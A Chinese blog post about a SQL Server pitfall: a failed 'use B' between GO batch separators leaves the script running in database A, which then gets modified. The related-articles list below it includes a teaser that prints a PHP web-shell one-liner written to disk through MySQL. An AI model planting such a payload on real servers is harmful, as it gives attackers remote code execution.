本问题基于上海sql server dba技术群提问分析总结而成:

群友问题:  

  就是一台服务器有数据库A,但没有数据库B(A和B有相同得表),我把B数据库的建表语句执行了在use A环境下了,为什么A数据库会被修改呢?

建表语句如下:

  

过程分析:

  【1】首先,之前在运行脚本的时候,数据库选择的肯定是use A

  【2】 然后当use b的时候,会报错,因为有GO做提交,GO与GO之间的文本互不影响,所以图中的use B会报错找不到数据库,但是随后接了GO

  【3】 所以并没有切换到B(仍在use A环境下运行),又因为有GO,所以MSSQL会忽略use B该报错(只会回滚本条信息),继续运行文本后续内容。

模拟测试:

  所以当test1不存在时,后续的select 3依然运行再test库环境下!

  

原理演示剖析:

【1】 当没有GO的时候

    

  结果: 如果某一行报错,那么该行及该后面所有语句都不会执行了

    

  

【2】当有GO的时候

    

  结果: 加了GO之后,即使中间行报错,后面的行还是会执行

    

 

    

  

(4.29)sql server中有关于GO的坑的更多相关文章

  1. SQL server的GO用法--巨坑

    SQL脚本是一种用SQL语言写的批处理文件(.sql),SQL脚本通常可以由SQL查询分析器来执行. ================================================= ...

  2. SQL Server 子查询遇到的坑

    这两天改 Bug 时使用 Sql Server 的子查询遇到了一些问题,特此记录一下,之前用 MySQL 比较多,按照 MySQL 的语法其实是没有问题的. 以下面这张表为例: 执行以下 SQL: s ...

  3. sql server全文索引使用中的小坑

    一.业务场景 我们在实际生产环境中遇到了这样一种需求,即需要检索一个父子关系的子树数据 估计大家也遇到过类似的场景,最典型的就是省市数据,其中path字段是按层级关系生成的行政区路径: 如果我们已知某 ...

  4. sql server全文索引使用中的小坑 (转载)

    一.业务场景 我们在实际生产环境中遇到了这样一种需求,即需要检索一个父子关系的子树数据 估计大家也遇到过类似的场景,最典型的就是省市数据,其中path字段是按层级关系生成的行政区路径: 如果我们已知某 ...

  5. 转载 50种方法优化SQL Server数据库查询

    原文地址 http://www.cnblogs.com/zhycyq/articles/2636748.html 50种方法优化SQL Server数据库查询 查询速度慢的原因很多,常见如下几种: 1 ...

  6. 如何安全的将VMware vCenter Server使用的SQL Server Express数据库平滑升级到完整版

    背景: 由于建设初期使用的vSphere vCenter for Windows版,其中安装自动化过程中会使用SQL Server Express的免费版数据库进行基础环境构建.而此时随着业务量的增加 ...

  7. Sql Server系列:排序函数

    在SQL Server中有4个排序函数:ROW_NUMBER().RANK().DENSE_RANK()及NTILE()函数. 1. ROW_NUMBER()函数 ROW_NUMBER()函数为每条记 ...

  8. SQL Server 索引

    SQL Server 中数据存储的基本单位是页(Page).数据库中的数据文件(.mdf 或 .ndf)分配的磁盘空间可以从逻辑上划分成页(从 0 到 n 连续编号).磁盘 I/O 操作在页级执行.也 ...

  9. 深入解析SQL Server并行执行原理及实践(下)

    谈完并行执行的原理,咱们再来谈谈优化,到底并行执行能给我们带来哪些好处,我们又应该注意什么呢,下面展开. Amdahl’s  Law 再谈并行优化前我想有必要谈谈阿姆达尔定律,可惜老爷子去年已经驾鹤先 ...

随机推荐

  1. mysql语法 -- concat函数

    mysql CONCAT(str1,str2,…)                        返回结果为连接参数产生的字符串.如有任何一个参数为NULL ,则返回值为 NULL.或许有一个或多个参 ...

  2. ZeroMQ总结

    Socket types Thread safety: ZeroMQ的socket是非线程安全的,并且ZeroMQ本身不建议在多个线程中传递同一个Socket,即使保证了线程同步.   Socket ...

  3. jsoup访问页面: PKIX path building failed

    在用jsoup访问页面时报错javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX p ...

  4. SSM框架搭建教程(从零开始,图文结合)

    1.准备 IntelliJ IDEA Tomcat JDK Maven mysql spring.springmvc.mybatis 了解 现在假设如上条件你都具备,那么通过我这篇博客 你一定可以整合 ...

  5. 通过mysql写入php一句话木马

    利用mysql写入一句话木马 前提: root权限,知道了服务器的web的绝对路径 select "<?php @eval($_POST['pass']);?>" IN ...

  6. 11代理模式Proxy

    一.什么是代理模式 Proxy模式又叫做代理模式,是构造型的设计 模式之一,它可以为其他对象提供一种代理(Proxy)以 控制对这个对象的访问. 所谓代理,是指具有与代理元(被代理的对象)具有 相同的 ...

  7. ERP项目实施记录02

    今天去第三方公司(B公司)考察: 公司成立:2011年12月 注册地:深圳 深圳:2~3个业务员 东莞:5个开发人员,据说也是实施人员 全功能者:BOSS A公司因战略调整,要将业务"下放& ...

  8. Android开发实战(申明:来源于网络)

    Android开发实战(申明:来源于网络) 地址:http://so.csdn.net/so/search/s.do?q=Android%E5%BC%80%E5%8F%91%E5%AE%9E%E6%8 ...

  9. sql的sp存储过程详解

    store procedure (存储过程) http://www.cnblogs.com/xiangzhong/p/5038338.html 调优的几个关键的步骤--sp_lock,sp_who h ...

  10. [No000010A]Git3/9-创建版本库

    什么是版本库呢?版本库又名仓库,英文名repository,你可以简单理解成一个目录,这个目录里面的所有文件都可以被Git管理起来,每个文件的修改.删除,Git都能跟踪,以便任何时刻都可以追踪历史,或 ...